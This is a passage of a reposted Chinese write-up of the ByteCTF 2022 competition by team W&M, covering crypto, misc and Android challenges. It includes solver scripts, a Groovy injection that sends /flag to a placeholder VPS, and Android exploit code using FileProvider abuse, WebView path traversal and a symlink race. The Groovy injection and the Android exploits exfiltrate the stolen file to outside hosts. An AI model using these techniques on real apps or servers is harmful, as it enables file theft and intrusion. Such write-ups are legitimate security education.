        v16[v17] = v1[v17];
        v17 = v17 + 32;
    }
    v19 = v20 = v1.length + v16.data;
    if (0x1f & v1.length) {
        MEM[v20 - (0x1f & v1.length)] = ~(256 ** (32 - (0x1f & v1.length)) - 1) & MEM[v20 - (0x1f & v1.length)];
    }
    return v16;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x14edb54d == function_selector >> 224) {
            0x14edb54d();
        } else if (0x58f5382e == function_selector >> 224) {
            0x58f5382e();
        } else if (0x93eed093 == function_selector >> 224) {
            0x93eed093();
        } else if (0x9577a145 == function_selector >> 224) {
            0x9577a145();
        } else if (0xa7f81e6a == function_selector >> 224) {
            0xa7f81e6a();
        } else if (0xf0407ca7 == function_selector >> 224) {
            0xf0407ca7();
        }
    }
    ();
}

密文是

0xa625e97482f83d2b7fc5125763dcbbffd8115b208c4754eee8711bdfac9e3377622bbf0cbb785e612b82c7f5143d5333

TEA, 直接脚本解得

#include <cstdio>
#include <cstdint>
uint32_t tar[] = {
    0xa625e974, 0x82f83d2b, 0x7fc51257, 0x63dcbbff, 0xd8115b20, 0x8c4754ee, 0xe8711bdf, 0xac9e3377, 0x622bbf0c, 0xbb785e61, 0x2b82c7f5, 0x143d5333
};
void decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0xdeadbeef*32, i; 
    uint32_t delta=0xdeadbeef; 
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i<32; i++) {
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        sum -= delta;  
    }
    v[0]=v0; v[1]=v1;  
}  
int main() {
    uint32_t k[4] = {0x12345678, 0x87654321, 0xaabbccdd, 0x44332211};
    for(int i = 0; i < 12; i += 2) {
        decrypt(&tar[i], k);
        printf("%#x %#x\\n", tar[i], tar[i+1]);
    }
    printf("%s\\n", (char*)tar);
}

CRYPTO

Compare

同态,算一下a-b根据大小做个比较就行了

from Crypto.Util.number import *
from pwn import *

CHALLENGE_ID = 'ba3c5079b12d33984d1ce01234f2a0b9'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
context.log_level = 'debug'

sh.recvuntil("expr: ")
sh.sendline("MSG < 26815615859885194199148049996411692254958731641184786755447122887443528060147093953603748596333806855380063716372972101707507765623893139892867298012168192")

def sol():
    sh.recvuntil("n = ")
    n = int(sh.recvline(False))
    sh.recvuntil("a = ")
    a = int(sh.recvline(False))
    sh.recvuntil("b = ")
    b = int(sh.recvline(False))

    msg = a * inverse(b, n*n) % (n*n)

    sh.recvuntil("msg = ")
    sh.sendline(str(msg))

for i in range(100):
    sol()

sh.interactive()

Choose_U_flag

加个模数直接解密就行了

from Crypto.Util.number import *
from pwn import *

CHALLENGE_ID = 'bb3fcb3fc9708bfdcdf710895615ba6e'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)

sh.recvuntil("[+]key coeffs: ")
cipher = eval(sh.recvline(False))
cipher[-1] += 64

sh.recvuntil("> ")
sh.sendline(str(cipher))

sh.recvuntil("coeffs: ")
key = eval(sh.recvline(False))

tmp = ''
for i in key:
    tmp += str(i)
res = long_to_bytes(int(tmp, 2))
sh.recvuntil("> ")
sh.sendline(res)
flag = sh.recvline(False)
print(flag)

# sh.interactive()
sh.close()

CardShark

把mt19937抽象成一个矩阵,根据这个网站https://www.anquanke.com/post/id/205861#h3-9直接魔改即可

from random import Random
from sage.all import *
from tqdm import tqdm
from string import *
from pwn import *
import hashlib

CHALLENGE_ID = 'c2695bdd1f6f3f37d9111db119baf00d'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
# context.log_level = 'debug'

table = string.ascii_letters + string.digits

# passpow
def passpow():
    rev = sh.recvuntil("sha256(XXXX+")
    suffix = sh.recv(28).decode()
    sh.recvuntil(" == ")
    res = sh.recv(64).decode()
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    x = a+b+c+d
                    if hashlib.sha256((x+suffix).encode()).hexdigest() == res:
                        sh.recvuntil("Give me XXXX > ")
                        sh.sendline(str(x))

def recoverState(leak):
    x = T.solve_left(vector(leak))
    x = ''.join([str(i) for i in x])
    state = []
    for i in range(624):
        tmp = int(x[i * 32:(i + 1) * 32], 2)
        state.append(tmp)
    return state

def backfirst(state):
    high = 0x80000000
    low = 0x7fffffff
    mask = 0x9908b0df
    tmp = state[623] ^ state[396]
    if tmp & high == high:
        tmp = mask ^ tmp
        tmp <<= 1
        tmp |= 1
    else:
        tmp <<= 1
    return int((1 << 32 - 1) | tmp & low), int(tmp & low)

def pwn(leak):
    state = recoverState(leak)
    L = [leak[i] for i in range(400)]
    prng = Random()
    guess1, guess2 = backfirst(state)
    print(guess1, guess2)
    state[0] = guess1
    s = state
    prng.setstate((3, tuple(s + [0]), None))
    g1 = [int(j) for j in ''.join([bin(prng.getrandbits(4))[2:].zfill(4) for i in range(100)])]
    print(g1,L)
    if g1 == L:
        print("first")
        prng.setstate((3, tuple(s + [0]), None))
        return prng

    state[0] = guess2
    s = state
    prng.setstate((3, tuple(s + [0]), None))
    g2 = [int(j) for j in ''.join([bin(prng.getrandbits(4))[2:].zfill(4) for i in range(100)])]
    if g2 == L:
        print("second")
        prng.setstate((3, tuple(s + [0]), None))
        return prng

length = 19968 // 4
T = sage.all.load('T')

passpow()

cards = []
for t in ('Hearts', 'Spades', 'Diamonds', 'Clubs'):
    for p in ('J', 'Q', 'K', 'A'):
        cards.append(f'{p} {t}')
def get_data():
    sh.recvuntil("guess > ")
    sh.sendline("1")
    sh.recvuntil("My card is ")
    card = sh.recvline(False)[:-1].decode()
    # print(card)
    # print(cards.index(card))
    res = bin(cards.index(card))[2:].zfill(4)
    return res

leaks = ''
for i in tqdm(range(4992)):
    leaks += get_data()

leak = [int(i) for i in leaks]
my_random = pwn(leak)
leaks = ''.join([bin(my_random.getrandbits(4))[2:].zfill(4) for i in tqdm(range(length))])

context.log_level = 'debug'
for i in range(201):
    ans = cards[my_random.getrandbits(4)]
    sh.recvuntil("guess > ")
    sh.sendline(ans)

sh.interactive()
# sh.close()

MISC

bash_game

bash [[ 里面 是支持运算的

并且就算是双引号也可以展开 但是展开的有一点奇怪 只能展开成数学表达式 不能用 || 直接构造一个万能密码出来

Shell Arithmetic (Bash Reference Manual) (gnu.org)

不存在的变量会被当做 0 并且支持 ++

甚至 不存在的变量 ++ 会创建这一个变量 并且赋值为1

因此 只要让第一次判断取到的值小于score 第二次判断取到的值大于99999999 即可

from pwn import *
import os
#context.log_level="debug"
CHALLENGE_ID = 'd539ff03ee73cc6add92f9f4a4a5ef18'
os.system('./wscat -p 1337 --endpoint wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID + ' &1>stdout &2>stderr &sleep 1')
p = remote('127.0.0.1', 1337)
# 整个活
# 第一次取到的值是 -514 肯定小于$score
# 第二次取到的值是 91081035926 大于99999999 
# homo 并不存在,因此第一次取值为0,第一次取值完之后变为1,第二次取值为1
p.sendline('( homo++ * (114*514*1919*810) + yarimasune - 514 )')
p.send("wasd"*1024)
p.recvuntil("This game lasted")
#input()
p.interactive()

ByteCTF 2022 By W&M

easy_groovy

groovy script

String fileContents = new File('/flag').text

无报错 测出flag在/flag 但是没有回显,需要带出

String fileContents = new File('/flag').text
new URL('http://vps/send?'+fileContents).getText()

maze_game

il2cpp编译的unity游戏

https://github.com/Perfare/Il2CppDumper

Il2CppDumper把符号表导出来,再用Il2CppDumper里面的python3脚本导入到ida,这样ida打开就有符号、字符串、结构体了

ByteCTF 2022 By W&M

注意到这个hdrlib很可疑,直接去ida里面看libhdr.so,发现没有混淆,每一个函数返回一个字符串

acsdcsdyrt Byte
adsfjdsjif v4dsa
bmpokjeapfojksd vkO}
fdsafsdoifjuhiaj vcxzn
fkcvoikas CTF{
fsdvadsgtyh zkZ}
kfdsokfdsjpvocjkxz mimdsfo8
nbcxvoijiofdas cvksa
rtqnwoerij moij}
sbdffdgvdfv UJm
vipojpasjfoisdpa zcx3
vokaspojfsd cvzn
vpzxlkcpidsaf rwe4
xsarads Hjx

追踪调用(字符串里搜索函数名称) 发现在il里只有五个函数被调用

acsdcsdyrt => Byte
fkcvoikas => CTF{
fsdvadsgtyh => zkZ}
sbdffdgvdfv => UJm
xsarads => Hjx

根据常识,ByteCTF{ 和 zkZ} 可以确定是开头和结尾

ByteCTF 2022 By W&M

fuzz到 这个金币材质里面写的PXR是最后一段flag。。。

import itertools
a = ['UJm','Hjx',"PXR"]
b=list(itertools.permutations(a,3))
for i in b:
    print("ByteCTF{"+"".join(i)+"zkZ}")


ByteCTF{HjxPXRUJmzkZ}

signIn

team id 可以抓包平台获取 也可以爆破捏,一共就几千队伍。

POST http://180.184.70.22:23334/api/signin HTTP/1.1
Host: 180.184.70.22:23334
Connection: keep-alive
Content-Length: 35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://180.184.70.22:23334
Referer: http://180.184.70.22:23334/final
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"team_name":"W&M","team_id":"714"}

findit

改成pcapng可以直接看,systemcall有yijian流量,

nothing.sh

#!/bin/bash openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;

上面显示了有png,这里在wireshark种png文件头可以找到(应该是非预期了)

ByteCTF 2022 By W&M

也可以foremost直接拿到图片

ByteCTF 2022 By W&M

得到前半段flag,根据缺失的uuid的格式strings流量包后正则匹配即可得到flag

ByteCTF 2022 By W&M

survey

问卷

MOBILE

Bronze Droid

让目标授权我们读取 flag,有点坑的地方是访问目录从根目录开始

    public void httpGet(String msg) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    URL url = new URL("http://IP:PORT/flag?flag=" + msg);
                    connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }

    public void poc() {
        Intent next = new Intent("ACTION_SHARET_TO_ME");
        next.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");

        Uri myUrl = Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag");
        next.setData(myUrl);
        next.setClipData(ClipData.newRawUri("", myUrl));
        next.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        startActivityForResult(next, 0);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {

        if (resultCode == -1) {
            Uri returnUri = data.getData();
            httpGet(readUri(returnUri));
        }
        super.onActivityResult(requestCode, resultCode, data);
    }

Silver Droid

题目分析

package com.bytectf.silverdroid;

import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;

public class MainActivity extends AppCompatActivity {
    @Override  // androidx.fragment.app.FragmentActivity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F0B001C);  // layout:activity_main
        Uri uri0 = this.getIntent().getData();
        if(uri0 != null) {
            WebView webView = new WebView(this.getApplicationContext());
            webView.setWebViewClient(new WebViewClient() {
                @Override  // android.webkit.WebViewClient
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    try {
                        Uri uri0 = Uri.parse(url);
                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
                        if(uri0.getScheme().equals("https")) {
                            return !uri0.getHost().endsWith(".myqcloud.com");
                        }
                    }
                    catch(Exception unused_ex) {
                        return;
                    }

                    return true;
                }
            });
            webView.setWebViewClient(new WebViewClient() {
                @Override  // android.webkit.WebViewClient
                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
                    FileInputStream inputStream;
                    Uri uri0 = request.getUrl();
                    if(uri0.getPath().startsWith("/local_cache/")) {
                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
                        if(cacheFile.exists()) {
                            try {
                                inputStream = new FileInputStream(cacheFile);
                            }
                            catch(IOException unused_ex) {
                                return;
                            }

                            HashMap headers = new HashMap();
                            headers.put("Access-Control-Allow-Origin", "*");
                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
                        }
                    }

                    return super.shouldInterceptRequest(view, request);
                }
            });
            this.setContentView(webView);
            webView.getSettings().setJavaScriptEnabled(true);
            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
        }
    }
}

题目限制

  1. 这道题没有给我们执行 APP 的权限,只能够向此 APP 传入一个 URL,通过与 https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url= 拼接得到执行
  2. 页面读取 GET 参数,判断并跳转到目标页面,禁止了 URL 中存在 myqclound 内容
  3. shouldOverrideUrlLoading 这里限制了访问页面域名必须是以 .myqcloud.com 结尾,这里开头带有点,难以绕过
  4. shouldInterceptRequest 检测 /local_cache/ 并进行缓存数据读取,存在路径穿越漏洞

跳转页面源码

<h1>jump</h1>
<script>
    function getQueryVariable(variable)
    {
        var query = window.location.search.substring(1);
        var vars = query.split("&");
        for (var i=0;i<vars.length;i++) {
            var pair = vars[i].split("=");
            if(pair[0] == variable){return pair[1];}
        }
        return(false);
    }
    var myurl = getQueryVariable("url").toString().toLowerCase();
    if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
        window.location.href = myurl;
    }
</script>

漏洞利用

  1. 通过 hint 得知,可以申请腾讯 COS 来绕过程序内对页面的限制,但是如果要跳转执行,还需要绕过页面对 myqcloud 的检测,这里随便选取一个字符 URL 编码即可绕过,访问页面时 Webview 会进行解码
  2. 在腾讯 COS 上放置我们的代码,并且使用 JS 可以访问 /local_cache/ 并被接管,这里存在路径穿越,可以穿越到 flag 并读取
  3. 使用 IMG 对象把 flag 带出,由于软件要求协议为 https,所以需要在某个有 https 的服务器上接收 flag(查看日志)

EXP

<h1 id="wjh">TEST</h1>
<img id="img" src="" width="300"/><br>


<script>
request_url = "https://xxxxxx.cos-website.ap-shanghai.myqcloud.com/local_cache/%2F..%2Ffiles%2Fflag"
var request = new XMLHttpRequest();
request.open('GET', request_url);
request.onload = function () {
    var img = document.getElementById("img");
    if (request.readyState === 4 && request.status === 200) {
        img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.responseText);
    }
    //img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.status);
};
request.send(null);
</script>

Gold Droid

题目分析

程序实现了一个 ContentProvider,并且实现了 openFile 功能

package com.bytectf.golddroid;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

public class VulProvider extends ContentProvider {
    @Override  // android.content.ContentProvider
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        return 0;
    }

    @Override  // android.content.ContentProvider
    public String getType(Uri uri) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public Uri insert(Uri uri, ContentValues values) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public boolean onCreate() {
        return false;
    }

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file0 = this.getContext().getExternalFilesDir("sandbox");
        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
        try {
            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
                throw new IllegalArgumentException();
            }
        }
        catch(IOException unused_ex) {
            return;
        }

        return ParcelFileDescriptor.open(file, 0x10000000);
    }

    @Override  // android.content.ContentProvider
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
        return 0;
    }
}

在 Manifest 中导出了这个类

<?xml version="1.0" encoding="UTF-8"?>
<manifest android:compileSdkVersion="32" android:compileSdkVersionCodename="12" android:versionCode="1" android:versionName="1.0" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12" xmlns:android="http://schemas.android.com/apk/res/android">
  <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
  <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:debuggable="true" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GoldDroid">
    <activity android:exported="true" android:name="com.bytectf.golddroid.MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>
    <provider android:authorities="slipme" android:exported="true" android:name="com.bytectf.golddroid.VulProvider"/>
    <receiver android:exported="false" android:name="com.bytectf.golddroid.FlagReceiver">
      <intent-filter>
        <action android:name="com.bytectf.SET_FLAG"/>
      </intent-filter>
    </receiver>
    <provider android:authorities="com.bytectf.golddroid.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
      <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
      <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
    </provider>
  </application>
</manifest>

顺便一提的是,这里的 openFile 写法是 Google 的示例代码 Path Traversal 漏洞

public ParcelFileDescriptor openFile (Uri uri, String mode)
   throws FileNotFoundException {
 File f = new File(DIR, uri.getLastPathSegment());
 if (!f.getCanonicalPath().startsWith(DIR)) {
   throw new IllegalArgumentException();
 }
 return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}

漏洞利用

  1. 可以通过 getLastPathSegment 产生路径穿越,穿越到其他文件,这里选择穿越到我们的软链接
  2. getCanonicalPath 会读取软链接并且显示真实的地址,所以我们起初可以软链接到 sandbox 下的文件,并且通过检测
  3. 通过条件竞争,在通过检测后,ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY) 前,替换软链接到 flag 文件
  4. 当返回 ParcelFileDescriptor 为 flag 文件时,我们可以读取 flag 文件并且得到 flag

具体实现

  1. 线程1:不断的软链接到 sandbox/file1
  2. 线程2:不断的软链接到 flag
  3. 主线程:不断的调用 openFile 得到 ParcelFileDescriptor 读取文件

EXP

package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;


public class MainActivity extends AppCompatActivity {
    String symlink;

    public void httpGet(String msg) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    URL url = new URL("http://IP:PORT/flag?flag=" + msg);
                    connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } catch (IllegalArgumentException e) {
            //Log.e("receiver", "IllegalArgumentException", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;
        symlink = root + "/symlink";
        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();


        while (true) {
            try {
                String data = readUri(Uri.parse(path));
                if (data != null)
                {
                    Log.e("WJH", data);
                    httpGet(data);
                }
            } catch (Exception e) {
                httpGet(e.getMessage());
            }
        }

    }
}

Find IMEI

VProxid(Proxifier alternative) - Apps on Google Play

如何使用magisk在安卓安装https ca证书 | Chara's Blog

证书装上,代理开上,打开app直接出flag

(X-Real-IP是fiddler脚本自动填的,忘记关了)

ByteCTF 2022 By W&M

FROM : wm-team.cn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日22:18:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ByteCTF 2022 By W&Mhttps://cn-sec.com/archives/3165579.html

发表评论

匿名网友 填写信息